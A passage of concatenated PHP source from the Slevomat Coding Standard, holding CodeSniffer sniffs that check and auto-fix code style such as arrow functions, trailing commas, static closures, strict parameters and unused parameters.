SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $pointer */ public function process(File $phpcsFile, $pointer): void { $tokens = $phpcsFile->getTokens(); /** @var int $colonPointer */ $colonPointer = TokenHelper::findNext($phpcsFile, T_COLON, $pointer + 1); $parameterName = $tokens[$pointer]['content']; if ($colonPointer !== $pointer + 1) { $fix = $phpcsFile->addFixableError( sprintf('There must be no whitespace between named argument "%s" and colon.', $parameterName), $colonPointer, self::CODE_WHITESPACE_BEFORE_COLON, ); if ($fix) { FixerHelper::replace($phpcsFile, $colonPointer - 1, ''); } } $whitespacePointer = $colonPointer + 1; if ( $tokens[$whitespacePointer]['code'] === T_WHITESPACE && $tokens[$whitespacePointer]['content'] === ' ' ) { return; } $fix = $phpcsFile->addFixableError( sprintf('There must be exactly one space after colon in named argument "%s".', $parameterName), $colonPointer, self::CODE_NO_WHITESPACE_AFTER_COLON, ); if (!$fix) { return; } if ($tokens[$whitespacePointer]['code'] === T_WHITESPACE) { FixerHelper::replace($phpcsFile, $whitespacePointer, ' '); } else { FixerHelper::add($phpcsFile, $colonPointer, ' '); } } } */ public function register(): array { return [ T_CLOSURE, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $closurePointer */ public function process(File $phpcsFile, $closurePointer): void { $this->enable = SniffSettingsHelper::isEnabledByPhpVersion($this->enable, 70400); if (!$this->enable) { return; } $tokens = $phpcsFile->getTokens(); $returnPointer = TokenHelper::findNextEffective($phpcsFile, $tokens[$closurePointer]['scope_opener'] + 1); if ($tokens[$returnPointer]['code'] !== T_RETURN) { return; } $usePointer = TokenHelper::findNextEffective($phpcsFile, $tokens[$closurePointer]['parenthesis_closer'] + 1); if ($tokens[$usePointer]['code'] === T_USE) { $useOpenParenthesisPointer = TokenHelper::findNextEffective($phpcsFile, $usePointer + 1); if (TokenHelper::findNext( $phpcsFile, T_BITWISE_AND, $useOpenParenthesisPointer + 1, $tokens[$useOpenParenthesisPointer]['parenthesis_closer'], ) !== null) { return; } } if (!$this->allowNested) { $closureOrArrowFunctionPointer = TokenHelper::findNext( $phpcsFile, [T_CLOSURE, T_FN], $tokens[$closurePointer]['scope_opener'] + 1, $tokens[$closurePointer]['scope_closer'], ); if ($closureOrArrowFunctionPointer !== null) { return; } } $fix = $phpcsFile->addFixableError('Use arrow function.', $closurePointer, self::CODE_REQUIRED_ARROW_FUNCTION); if (!$fix) { return; } $pointerAfterReturn = TokenHelper::findNextNonWhitespace($phpcsFile, $returnPointer + 1); $semicolonAfterReturn = $this->findSemicolon($phpcsFile, $returnPointer); $usePointer = TokenHelper::findNext( $phpcsFile, T_USE, $tokens[$closurePointer]['parenthesis_closer'] + 1, $tokens[$closurePointer]['scope_opener'], ); $nonWhitespacePointerBeforeScopeOpener = TokenHelper::findPreviousExcluding( $phpcsFile, T_WHITESPACE, $tokens[$closurePointer]['scope_opener'] - 1, ); $nonWhitespacePointerAfterUseParenthesisCloser = null; if ($usePointer !== null) { $useParenthesiCloserPointer = TokenHelper::findNext($phpcsFile, T_CLOSE_PARENTHESIS, $usePointer + 1); $nonWhitespacePointerAfterUseParenthesisCloser = TokenHelper::findNextExcluding( $phpcsFile, T_WHITESPACE, $useParenthesiCloserPointer + 1, ); } $phpcsFile->fixer->beginChangeset(); FixerHelper::replace($phpcsFile, $closurePointer, 'fn'); if ($nonWhitespacePointerAfterUseParenthesisCloser !== null) { FixerHelper::removeBetween( $phpcsFile, $tokens[$closurePointer]['parenthesis_closer'], $nonWhitespacePointerAfterUseParenthesisCloser, ); } FixerHelper::removeBetween($phpcsFile, $nonWhitespacePointerBeforeScopeOpener, $pointerAfterReturn); FixerHelper::add($phpcsFile, $nonWhitespacePointerBeforeScopeOpener, ' => '); FixerHelper::removeBetweenIncluding($phpcsFile, $semicolonAfterReturn, $tokens[$closurePointer]['scope_closer']); $phpcsFile->fixer->endChangeset(); } private function findSemicolon(File $phpcsFile, int $pointer): int { $tokens = $phpcsFile->getTokens(); $semicolonPointer = null; for ($i = $pointer + 1; $i < count($tokens) - 1; $i++) { if ($tokens[$i]['code'] !== T_SEMICOLON) { continue; } if (!ScopeHelper::isInSameScope($phpcsFile, $pointer, $i)) { continue; } $semicolonPointer = $i; break; } /** @var int $semicolonPointer */ $semicolonPointer = $semicolonPointer; return $semicolonPointer; } } minLineLength = SniffSettingsHelper::normalizeInteger($this->minLineLength); if (!$this->isCall($phpcsFile, $stringPointer)) { return; } $tokens = $phpcsFile->getTokens(); $parenthesisOpenerPointer = TokenHelper::findNextEffective($phpcsFile, $stringPointer + 1); $parenthesisCloserPointer = $tokens[$parenthesisOpenerPointer]['parenthesis_closer']; // No parameters $effectivePointerAfterParenthesisOpener = TokenHelper::findNextEffective($phpcsFile, $parenthesisOpenerPointer + 1); if ($effectivePointerAfterParenthesisOpener === $parenthesisCloserPointer) { return; } $parametersPointers = [TokenHelper::findNextEffective($phpcsFile, $parenthesisOpenerPointer + 1)]; $level = 0; $pointers = TokenHelper::findNextAll( $phpcsFile, [T_COMMA, T_OPEN_PARENTHESIS, T_CLOSE_PARENTHESIS, T_OPEN_SHORT_ARRAY, T_CLOSE_SHORT_ARRAY], $parenthesisOpenerPointer + 1, $parenthesisCloserPointer, ); foreach ($pointers as $pointer) { if (in_array($tokens[$pointer]['code'], [T_OPEN_PARENTHESIS, T_OPEN_SHORT_ARRAY], true)) { $level++; continue; } if (in_array($tokens[$pointer]['code'], [T_CLOSE_PARENTHESIS, T_CLOSE_SHORT_ARRAY], true)) { $level--; continue; } if ($level !== 0) { continue; } $parameterPointer = TokenHelper::findNextEffective($phpcsFile, $pointer + 1, $parenthesisCloserPointer); if ($parameterPointer !== null) { $parametersPointers[] = $parameterPointer; } } $lines = [ $tokens[$parenthesisOpenerPointer]['line'], $tokens[$parenthesisCloserPointer]['line'], ]; foreach ($parametersPointers as $parameterPointer) { $lines[] = $tokens[$parameterPointer]['line']; } // Each parameter on its line if (count(array_unique($lines)) - 2 >= count($parametersPointers)) { return; } if ($this->shouldBeSkipped($phpcsFile, $stringPointer, $parenthesisCloserPointer)) { return; } $lineStart = $this->getLineStart($phpcsFile, $parenthesisOpenerPointer); if ($tokens[$parenthesisCloserPointer]['line'] === $tokens[$stringPointer]['line']) { $call = $this->getCall($phpcsFile, $parenthesisOpenerPointer, $parenthesisCloserPointer); $lineEnd = $this->getLineEnd($phpcsFile, $parenthesisCloserPointer); $lineLength = strlen($lineStart . $call . $lineEnd); } else { $lineEnd = $this->getLineEnd($phpcsFile, $parenthesisOpenerPointer + 1); $lineLength = strlen($lineStart . $lineEnd); } $firstNonWhitespaceOnLine = TokenHelper::findFirstNonWhitespaceOnLine($phpcsFile, $stringPointer); $indentation = IndentationHelper::getIndentation($phpcsFile, $firstNonWhitespaceOnLine); $oneIndentation = IndentationHelper::getOneIndentationLevel($phpcsFile); if (!$this->shouldReportError( $lineLength, $lineStart, $lineEnd, count($parametersPointers), strlen($oneIndentation), )) { return; } $previousPointer = TokenHelper::findPreviousEffective($phpcsFile, $stringPointer - 1); $name = ltrim($tokens[$stringPointer]['content'], '\\'); if (in_array($tokens[$previousPointer]['code'], [T_OBJECT_OPERATOR, T_DOUBLE_COLON], true)) { $error = sprintf('Call of method %s() should be split to more lines.', $name); } elseif ($tokens[$previousPointer]['code'] === T_NEW) { $error = 'Constructor call should be split to more lines.'; } else { $error = sprintf('Call of function %s() should be split to more lines.', $name); } $fix = $phpcsFile->addFixableError($error, $stringPointer, self::CODE_REQUIRED_MULTI_LINE_CALL); if (!$fix) { return; } $parametersIndentation = IndentationHelper::addIndentation($phpcsFile, $indentation); $phpcsFile->fixer->beginChangeset(); for ($i = $parenthesisOpenerPointer + 1; $i < $parenthesisCloserPointer; $i++) { if (in_array($i, $parametersPointers, true)) { FixerHelper::removeWhitespaceBefore($phpcsFile, $i); FixerHelper::addBefore($phpcsFile, $i, $phpcsFile->eolChar . $parametersIndentation); } elseif ($tokens[$i]['content'] === $phpcsFile->eolChar) { FixerHelper::add($phpcsFile, $i, $oneIndentation); } else { // Create conflict so inner calls are fixed in next loop FixerHelper::replace($phpcsFile, $i, $tokens[$i]['content']); } } FixerHelper::addBefore($phpcsFile, $parenthesisCloserPointer, $phpcsFile->eolChar . $indentation); $phpcsFile->fixer->endChangeset(); } private function shouldBeSkipped(File $phpcsFile, int $stringPointer, int $parenthesisCloserPointer): bool { $tokens = $phpcsFile->getTokens(); $searchStartPointer = TokenHelper::findFirstNonWhitespaceOnLine($phpcsFile, $stringPointer); while (true) { $stringPointerBefore = TokenHelper::findNext( $phpcsFile, TokenHelper::ONLY_NAME_TOKEN_CODES, $searchStartPointer, $stringPointer, ); if ($stringPointerBefore === null) { break; } $pointerAfterStringPointerBefore = TokenHelper::findNextEffective($phpcsFile, $stringPointerBefore + 1); if ( $tokens[$pointerAfterStringPointerBefore]['code'] === T_OPEN_PARENTHESIS && $tokens[$pointerAfterStringPointerBefore]['parenthesis_closer'] > $stringPointer ) { return true; } $searchStartPointer = $stringPointerBefore + 1; } $lastPointerOnLine = TokenHelper::findLastTokenOnLine($phpcsFile, $parenthesisCloserPointer); $searchStartPointer = $parenthesisCloserPointer + 1; while (true) { $stringPointerAfter = TokenHelper::findNext( $phpcsFile, TokenHelper::ONLY_NAME_TOKEN_CODES, $searchStartPointer, $lastPointerOnLine + 1, ); if ($stringPointerAfter === null) { break; } $pointerAfterStringPointerAfter = TokenHelper::findNextEffective($phpcsFile, $stringPointerAfter + 1); if ( $pointerAfterStringPointerAfter !== null && $tokens[$pointerAfterStringPointerAfter]['code'] === T_OPEN_PARENTHESIS && $tokens[$tokens[$pointerAfterStringPointerAfter]['parenthesis_closer']]['line'] === $tokens[$stringPointer]['line'] && $tokens[$pointerAfterStringPointerAfter]['parenthesis_closer'] !== TokenHelper::findNextEffective( $phpcsFile, $pointerAfterStringPointerAfter + 1, ) ) { return true; } $searchStartPointer = $stringPointerAfter + 1; } return false; } private function shouldReportError( int $lineLength, string $lineStart, string $lineEnd, int $parametersCount, int $indentationLength ): bool { if ($this->minLineLength === 0) { return true; } if ($lineLength < $this->minLineLength) { return false; } if ($parametersCount > 1) { return true; } return strlen(trim($lineStart) . trim($lineEnd)) > $indentationLength; } } maxLineLength = SniffSettingsHelper::normalizeInteger($this->maxLineLength); if (!$this->isCall($phpcsFile, $stringPointer)) { return; } if ($this->shouldBeSkipped($phpcsFile, $stringPointer)) { return; } $tokens = $phpcsFile->getTokens(); $parenthesisOpenerPointer = TokenHelper::findNextEffective($phpcsFile, $stringPointer + 1); $parenthesisCloserPointer = $tokens[$parenthesisOpenerPointer]['parenthesis_closer']; if ($tokens[$parenthesisOpenerPointer]['line'] === $tokens[$parenthesisCloserPointer]['line']) { return; } if (TokenHelper::findNext( $phpcsFile, array_merge(TokenHelper::INLINE_COMMENT_TOKEN_CODES, Tokens::$heredocTokens), $parenthesisOpenerPointer + 1, $parenthesisCloserPointer, ) !== null) { return; } for ($i = $parenthesisOpenerPointer + 1; $i < $parenthesisCloserPointer; $i++) { if ($tokens[$i]['code'] !== T_CONSTANT_ENCAPSED_STRING && $tokens[$i]['code'] !== T_DOUBLE_QUOTED_STRING) { continue; } if (strpos($tokens[$i]['content'], $phpcsFile->eolChar) !== false) { return; } } if ($this->ignoreWithComplexParameter) { if ( TokenHelper::findNext( $phpcsFile, [T_CLOSURE, T_FN, T_OPEN_SHORT_ARRAY], $parenthesisOpenerPointer + 1, $parenthesisCloserPointer, ) !== null ) { return; } // Contains inner call $callSearchStartPointer = $parenthesisOpenerPointer + 1; while (true) { $innerStringPointer = TokenHelper::findNext( $phpcsFile, TokenHelper::ONLY_NAME_TOKEN_CODES, $callSearchStartPointer, $parenthesisCloserPointer, ); if ($innerStringPointer === null) { break; } $pointerAfterInnerString = TokenHelper::findNextEffective($phpcsFile, $innerStringPointer + 1); if ( $pointerAfterInnerString !== null && $tokens[$pointerAfterInnerString]['code'] === T_OPEN_PARENTHESIS ) { return; } $callSearchStartPointer = $innerStringPointer + 1; } } $lineStart = $this->getLineStart($phpcsFile, $parenthesisOpenerPointer); $call = $this->getCall($phpcsFile, $parenthesisOpenerPointer, $parenthesisCloserPointer); $lineEnd = $this->getLineEnd($phpcsFile, $parenthesisCloserPointer); $lineLength = strlen($lineStart . $call . $lineEnd); if (!$this->shouldReportError($lineLength)) { return; } $previousPointer = TokenHelper::findPreviousEffective($phpcsFile, $stringPointer - 1); $name = ltrim($tokens[$stringPointer]['content'], '\\'); if (in_array($tokens[$previousPointer]['code'], [T_OBJECT_OPERATOR, T_DOUBLE_COLON], true)) { $error = sprintf('Call of method %s() should be placed on a single line.', $name); } elseif ($tokens[$previousPointer]['code'] === T_NEW) { $error = 'Constructor call should be placed on a single line.'; } else { $error = sprintf('Call of function %s() should be placed on a single line.', $name); } $fix = $phpcsFile->addFixableError($error, $stringPointer, self::CODE_REQUIRED_SINGLE_LINE_CALL); if (!$fix) { return; } $phpcsFile->fixer->beginChangeset(); FixerHelper::add($phpcsFile, $parenthesisOpenerPointer, $call); FixerHelper::removeBetween($phpcsFile, $parenthesisOpenerPointer, $parenthesisCloserPointer); $phpcsFile->fixer->endChangeset(); } private function shouldBeSkipped(File $phpcsFile, int $stringPointer): bool { $tokens = $phpcsFile->getTokens(); foreach (array_reverse(TokenHelper::findNextAll($phpcsFile, [T_OPEN_PARENTHESIS, T_FUNCTION], 0, $stringPointer)) as $pointer) { if ($tokens[$pointer]['code'] === T_FUNCTION) { if (array_key_exists('scope_closer', $tokens[$pointer]) && $tokens[$pointer]['scope_closer'] > $stringPointer) { return false; } continue; } if ($tokens[$pointer]['parenthesis_closer'] < $stringPointer) { continue; } $pointerBeforeParenthesisOpener = TokenHelper::findPreviousEffective($phpcsFile, $pointer - 1); if ( $pointerBeforeParenthesisOpener === null || $tokens[$pointerBeforeParenthesisOpener]['code'] !== T_STRING ) { continue; } return true; } return false; } private function shouldReportError(int $lineLength): bool { if ($this->maxLineLength === 0) { return true; } return $lineLength <= $this->maxLineLength; } } */ public function register(): array { return [ T_OPEN_PARENTHESIS, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $parenthesisOpenerPointer */ public function process(File $phpcsFile, $parenthesisOpenerPointer): void { $this->enable = SniffSettingsHelper::isEnabledByPhpVersion($this->enable, 70300); if (!$this->enable) { return; } $tokens = $phpcsFile->getTokens(); $pointerBeforeParenthesisOpener = TokenHelper::findPreviousEffective($phpcsFile, $parenthesisOpenerPointer - 1); if (!in_array( $tokens[$pointerBeforeParenthesisOpener]['code'], [...TokenHelper::ONLY_NAME_TOKEN_CODES, T_STRING, T_VARIABLE, T_ISSET, T_UNSET, T_CLOSE_PARENTHESIS, T_SELF, T_STATIC, T_PARENT], true, )) { return; } $functionPointer = TokenHelper::findPreviousEffective($phpcsFile, $pointerBeforeParenthesisOpener - 1); if (in_array($tokens[$functionPointer]['code'], TokenHelper::FUNCTION_TOKEN_CODES, true)) { return; } $parenthesisCloserPointer = $tokens[$parenthesisOpenerPointer]['parenthesis_closer']; if ($tokens[$parenthesisOpenerPointer]['line'] === $tokens[$parenthesisCloserPointer]['line']) { return; } $pointerBeforeParenthesisCloser = TokenHelper::findPreviousEffective($phpcsFile, $parenthesisCloserPointer - 1); if ($pointerBeforeParenthesisCloser === $parenthesisOpenerPointer) { return; } if ($tokens[$parenthesisCloserPointer]['line'] === $tokens[$pointerBeforeParenthesisCloser]['line']) { return; } if ($tokens[$pointerBeforeParenthesisCloser]['code'] === T_COMMA) { return; } $fix = $phpcsFile->addFixableError( 'Multi-line function calls must have a trailing comma after the last parameter.', $pointerBeforeParenthesisCloser, self::CODE_MISSING_TRAILING_COMMA, ); if (!$fix) { return; } $phpcsFile->fixer->beginChangeset(); FixerHelper::add($phpcsFile, $pointerBeforeParenthesisCloser, ','); $phpcsFile->fixer->endChangeset(); } } */ public function register(): array { return [T_CLOSURE]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $functionPointer */ public function process(File $phpcsFile, $functionPointer): void { $this->enable = SniffSettingsHelper::isEnabledByPhpVersion($this->enable, 80000); if (!$this->enable) { return; } $tokens = $phpcsFile->getTokens(); $parenthesisCloserPointer = $tokens[$functionPointer]['parenthesis_closer']; $usePointer = TokenHelper::findNextEffective($phpcsFile, $parenthesisCloserPointer + 1); if ($tokens[$usePointer]['code'] !== T_USE) { return; } $useParenthesisOpenerPointer = TokenHelper::findNextEffective($phpcsFile, $usePointer + 1); $useParenthesisCloserPointer = $tokens[$useParenthesisOpenerPointer]['parenthesis_closer']; if ($tokens[$useParenthesisOpenerPointer]['line'] === $tokens[$useParenthesisCloserPointer]['line']) { return; } $pointerBeforeUseParenthesisCloser = TokenHelper::findPreviousExcluding( $phpcsFile, T_WHITESPACE, $useParenthesisCloserPointer - 1, $useParenthesisOpenerPointer, ); if ($tokens[$pointerBeforeUseParenthesisCloser]['code'] === T_COMMA) { return; } $fix = $phpcsFile->addFixableError( 'Multi-line "use" of closure declaration must have a trailing comma after the last inherited variable.', $pointerBeforeUseParenthesisCloser, self::CODE_MISSING_TRAILING_COMMA, ); if (!$fix) { return; } $phpcsFile->fixer->beginChangeset(); FixerHelper::add($phpcsFile, $pointerBeforeUseParenthesisCloser, ','); $phpcsFile->fixer->endChangeset(); } } */ public function register(): array { return TokenHelper::FUNCTION_TOKEN_CODES; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $functionPointer */ public function process(File $phpcsFile, $functionPointer): void { $this->enable = SniffSettingsHelper::isEnabledByPhpVersion($this->enable, 80000); if (!$this->enable) { return; } $tokens = $phpcsFile->getTokens(); $parenthesisOpenerPointer = $tokens[$functionPointer]['parenthesis_opener']; $parenthesisCloserPointer = $tokens[$functionPointer]['parenthesis_closer']; if ($tokens[$parenthesisOpenerPointer]['line'] === $tokens[$parenthesisCloserPointer]['line']) { return; } $pointerBeforeParenthesisCloser = TokenHelper::findPreviousEffective( $phpcsFile, $parenthesisCloserPointer - 1, $parenthesisOpenerPointer, ); if ($pointerBeforeParenthesisCloser === $parenthesisOpenerPointer) { return; } if ($tokens[$pointerBeforeParenthesisCloser]['code'] === T_COMMA) { return; } $fix = $phpcsFile->addFixableError( 'Multi-line function declaration must have a trailing comma after the last parameter.', $pointerBeforeParenthesisCloser, self::CODE_MISSING_TRAILING_COMMA, ); if (!$fix) { return; } $phpcsFile->fixer->beginChangeset(); FixerHelper::add($phpcsFile, $pointerBeforeParenthesisCloser, ','); $phpcsFile->fixer->endChangeset(); } } */ public function register(): array { return [ T_CLOSURE, T_FN, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $closurePointer */ public function process(File $phpcsFile, $closurePointer): void { $tokens = $phpcsFile->getTokens(); $previousPointer = TokenHelper::findPreviousEffective($phpcsFile, $closurePointer - 1); if ($tokens[$previousPointer]['code'] === T_STATIC) { return; } if ($tokens[$previousPointer]['code'] === T_OPEN_PARENTHESIS) { $pointerBeforeParenthesis = TokenHelper::findPreviousEffective($phpcsFile, $previousPointer - 1); if ( $tokens[$pointerBeforeParenthesis]['code'] === T_STRING && $tokens[$pointerBeforeParenthesis]['content'] === 'bind' ) { return; } } $closureScopeOpenerPointer = $tokens[$closurePointer]['scope_opener']; $closureScopeCloserPointer = $tokens[$closurePointer]['scope_closer']; $thisPointer = TokenHelper::findNextContent( $phpcsFile, T_VARIABLE, '$this', $closureScopeOpenerPointer + 1, $closureScopeCloserPointer + 1, ); if ($thisPointer !== null) { return; } $stringPointers = TokenHelper::findNextAll( $phpcsFile, T_DOUBLE_QUOTED_STRING, $closureScopeOpenerPointer + 1, $closureScopeCloserPointer, ); foreach ($stringPointers as $stringPointer) { if (VariableHelper::isUsedInScopeInString($phpcsFile, '$this', $stringPointer)) { return; } } $parentPointer = TokenHelper::findNext($phpcsFile, T_PARENT, $closureScopeOpenerPointer + 1, $closureScopeCloserPointer); if ($parentPointer !== null) { return; } $fix = $phpcsFile->addFixableError( 'Closure not using "$this" should be declared static.', $closurePointer, self::CODE_CLOSURE_NOT_STATIC, ); if (!$fix) { return; } $phpcsFile->fixer->beginChangeset(); FixerHelper::addBefore($phpcsFile, $closurePointer, 'static '); $phpcsFile->fixer->endChangeset(); } } 3, 'array_search' => 3, 'base64_decode' => 2, 'array_keys' => 3, ]; /** * @return array */ public function register(): array { return TokenHelper::ONLY_NAME_TOKEN_CODES; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $stringPointer */ public function process(File $phpcsFile, $stringPointer): void { $tokens = $phpcsFile->getTokens(); $parenthesisOpenerPointer = TokenHelper::findNextEffective($phpcsFile, $stringPointer + 1); if ($tokens[$parenthesisOpenerPointer]['code'] !== T_OPEN_PARENTHESIS) { return; } $parenthesisCloserPointer = $tokens[$parenthesisOpenerPointer]['parenthesis_closer']; $functionName = ltrim(strtolower($tokens[$stringPointer]['content']), '\\'); if (!array_key_exists($functionName, self::FUNCTIONS)) { return; } $previousPointer = TokenHelper::findPreviousEffective($phpcsFile, $stringPointer - 1); if (in_array($tokens[$previousPointer]['code'], [T_OBJECT_OPERATOR, T_DOUBLE_COLON, T_FUNCTION], true)) { return; } $commaPointers = []; for ($i = $parenthesisOpenerPointer + 1; $i < $parenthesisCloserPointer; $i++) { if ($tokens[$i]['code'] === T_OPEN_PARENTHESIS) { $i = $tokens[$i]['parenthesis_closer']; continue; } if ($tokens[$i]['code'] === T_OPEN_SHORT_ARRAY) { $i = $tokens[$i]['bracket_closer']; continue; } if ($tokens[$i]['code'] === T_COMMA) { $commaPointers[] = $i; } } $commaPointersCount = count($commaPointers); $parametersCount = $commaPointersCount + 1; $lastCommaPointer = $commaPointersCount > 0 ? $commaPointers[$commaPointersCount - 1] : null; $hasTrailingComma = false; if ( $lastCommaPointer !== null && TokenHelper::findNextEffective($phpcsFile, $lastCommaPointer + 1, $parenthesisCloserPointer) === null ) { $hasTrailingComma = true; $parametersCount--; } if ($parametersCount === self::FUNCTIONS[$functionName]) { $strictParameterValue = TokenHelper::getContent( $phpcsFile, $commaPointers[self::FUNCTIONS[$functionName] - 2] + 1, ($hasTrailingComma ? $lastCommaPointer : $parenthesisCloserPointer) - 1, ); if (strtolower(trim($strictParameterValue)) !== 'false') { return; } $phpcsFile->addError( sprintf('Strict parameter should be set to true in %s() call.', $functionName), $stringPointer, self::CODE_NON_STRICT_COMPARISON, ); } elseif ($parametersCount === self::FUNCTIONS[$functionName] - 1) { $phpcsFile->addError( sprintf('Strict parameter missing in %s() call.', $functionName), $stringPointer, self::CODE_STRICT_PARAMETER_MISSING, ); } } } */ public function register(): array { return [ T_USE, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $usePointer */ public function process(File $phpcsFile, $usePointer): void { $tokens = $phpcsFile->getTokens(); /** @var int $parenthesisOpenerPointer */ $parenthesisOpenerPointer = TokenHelper::findNextEffective($phpcsFile, $usePointer + 1); if ($tokens[$parenthesisOpenerPointer]['code'] !== T_OPEN_PARENTHESIS) { return; } /** @var int $closurePointer */ $closurePointer = TokenHelper::findPrevious($phpcsFile, T_CLOSURE, $usePointer - 1); $currentPointer = $parenthesisOpenerPointer + 1; do { $variablePointer = TokenHelper::findNext( $phpcsFile, T_VARIABLE, $currentPointer, $tokens[$parenthesisOpenerPointer]['parenthesis_closer'], ); if ($variablePointer === null) { break; } $this->checkVariableUsage( $phpcsFile, $usePointer, $parenthesisOpenerPointer, $tokens[$parenthesisOpenerPointer]['parenthesis_closer'], $variablePointer, $closurePointer, ); $currentPointer = $variablePointer + 1; } while (true); } private function checkVariableUsage( File $phpcsFile, int $usePointer, int $useParenthesisOpenerPointer, int $useParenthesisCloserPointer, int $variablePointer, int $scopeOwnerPointer ): void { $tokens = $phpcsFile->getTokens(); if (VariableHelper::isUsedInScope($phpcsFile, $scopeOwnerPointer, $variablePointer)) { return; } $fix = $phpcsFile->addFixableError( sprintf('Unused inherited variable %s passed to closure.', $tokens[$variablePointer]['content']), $variablePointer, self::CODE_UNUSED_INHERITED_VARIABLE, ); if (!$fix) { return; } $fixStartPointer = $variablePointer; do { if ($tokens[$fixStartPointer - 1]['code'] === T_OPEN_PARENTHESIS) { break; } $fixStartPointer--; if ($tokens[$fixStartPointer]['code'] === T_COMMA) { break; } } while (true); $fixEndPointer = $variablePointer; do { if ($tokens[$fixEndPointer + 1]['code'] === T_CLOSE_PARENTHESIS) { break; } if ($tokens[$fixEndPointer + 1]['code'] === T_COMMA && $tokens[$fixStartPointer]['code'] === T_COMMA) { break; } if (in_array($tokens[$fixEndPointer + 1]['code'], [T_VARIABLE, T_BITWISE_AND], true)) { break; } $fixEndPointer++; } while (true); $phpcsFile->fixer->beginChangeset(); FixerHelper::removeBetweenIncluding($phpcsFile, $fixStartPointer, $fixEndPointer); $emptyUse = true; for ($i = $useParenthesisOpenerPointer + 1; $i < $useParenthesisCloserPointer; $i++) { if ($phpcsFile->fixer->getTokenContent($i) !== '') { $emptyUse = false; break; } } if ($emptyUse) { FixerHelper::removeBetweenIncluding($phpcsFile, $usePointer, $useParenthesisCloserPointer); } $phpcsFile->fixer->endChangeset(); } } */ public array $allowedParameterPatterns = []; /** * @return array */ public function register(): array { return TokenHelper::FUNCTION_TOKEN_CODES; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $functionPointer */ public function process(File $phpcsFile, $functionPointer): void { if (FunctionHelper::isAbstract($phpcsFile, $functionPointer)) { return; } $isSuppressed = SuppressHelper::isSniffSuppressed($phpcsFile, $functionPointer, $this->getSniffName(self::CODE_UNUSED_PARAMETER)); $suppressUseless = true; $tokens = $phpcsFile->getTokens(); $currentPointer = $tokens[$functionPointer]['parenthesis_opener'] + 1; while (true) { $parameterPointer = TokenHelper::findNext( $phpcsFile, T_VARIABLE, $currentPointer, $tokens[$functionPointer]['parenthesis_closer'], ); if ($parameterPointer === null) { break; } $previousPointer = TokenHelper::findPrevious( $phpcsFile, array_merge([T_COMMA], Tokens::$scopeModifiers), $parameterPointer - 1, $tokens[$functionPointer]['parenthesis_opener'], ); if ($previousPointer !== null && in_array($tokens[$previousPointer]['code'], Tokens::$scopeModifiers, true)) { $currentPointer = $parameterPointer + 1; continue; } if ( $this->variableIsSuppressedViaName($tokens[$parameterPointer]['content']) || VariableHelper::isUsedInScope($phpcsFile, $functionPointer, $parameterPointer) ) { $currentPointer = $parameterPointer + 1; continue; } if (!$isSuppressed) { $phpcsFile->addError( sprintf('Unused parameter %s.', $tokens[$parameterPointer]['content']), $parameterPointer, self::CODE_UNUSED_PARAMETER, ); } else { $suppressUseless = false; } $currentPointer = $parameterPointer + 1; } if (!$isSuppressed || !$suppressUseless) { return; } $phpcsFile->addError( sprintf('Useless %s %s', SuppressHelper::ANNOTATION, self::NAME), $functionPointer, self::CODE_USELESS_SUPPRESS, ); } private function getSniffName(string $sniffName): string { return sprintf('%s.%s', self::NAME, $sniffName); } private function variableIsSuppressedViaName(string $variableName): bool { foreach (SniffSettingsHelper::normalizeArray($this->allowedParameterPatterns) as $allowedParamPattern) { if (!SniffSettingsHelper::isValidRegularExpression($allowedParamPattern)) { throw new Exception(sprintf('%s is not valid PCRE pattern.', $allowedParamPattern)); } if (preg_match($allowedParamPattern, substr($variableName, 1)) === 1) { return true; } } return false; } } */ public function register(): array { return TokenHelper::FUNCTION_TOKEN_CODES; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $functionPointer */ public function process(File $phpcsFile, $functionPointer): void { $parameters = $phpcsFile->getMethodParameters($functionPointer); $parametersCount = count($parameters); if ($parametersCount === 0) { return; } for ($i = 0; $i < $parametersCount; $i++) { $parameter = $parameters[$i]; if (!array_key_exists('default', $parameter)) { continue; } $defaultValue = strtolower($parameter['default']); if ($defaultValue === 'null' && !$parameter['nullable_type']) { continue; } for ($j = $i + 1; $j < $parametersCount; $j++) { $nextParameter = $parameters[$j]; if (array_key_exists('default', $nextParameter)) { continue; } if ($nextParameter['variable_length']) { break; } $fix = $phpcsFile->addFixableError( sprintf('Useless default value of parameter %s.', $parameter['name']), $parameter['token'], self::CODE_USELESS_PARAMETER_DEFAULT_VALUE, ); if (!$fix) { continue; } $commaPointer = TokenHelper::findPrevious($phpcsFile, T_COMMA, $parameters[$i + 1]['token'] - 1); /** @var int $parameterPointer */ $parameterPointer = $parameter['token']; $phpcsFile->fixer->beginChangeset(); for ($k = $parameterPointer + 1; $k < $commaPointer; $k++) { FixerHelper::replace($phpcsFile, $k, ''); } $phpcsFile->fixer->endChangeset(); break; } } } } */ public array $exclude = []; /** @var list */ public array $include = []; /** @var list|null */ private ?array $normalizedExclude = null; /** @var list|null */ private ?array $normalizedInclude = null; abstract protected function getNotFullyQualifiedMessage(): string; abstract protected function isCaseSensitive(): bool; abstract protected function isValidType(ReferencedName $name): bool; /** * @return array */ public function register(): array { return [ T_OPEN_TAG, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $openTagPointer */ public function process(File $phpcsFile, $openTagPointer): void { if (TokenHelper::findPrevious($phpcsFile, T_OPEN_TAG, $openTagPointer - 1) !== null) { return; } if (TokenHelper::findNext($phpcsFile, T_OPEN_USE_GROUP, $openTagPointer) !== null) { return; } $tokens = $phpcsFile->getTokens(); $namespacePointers = 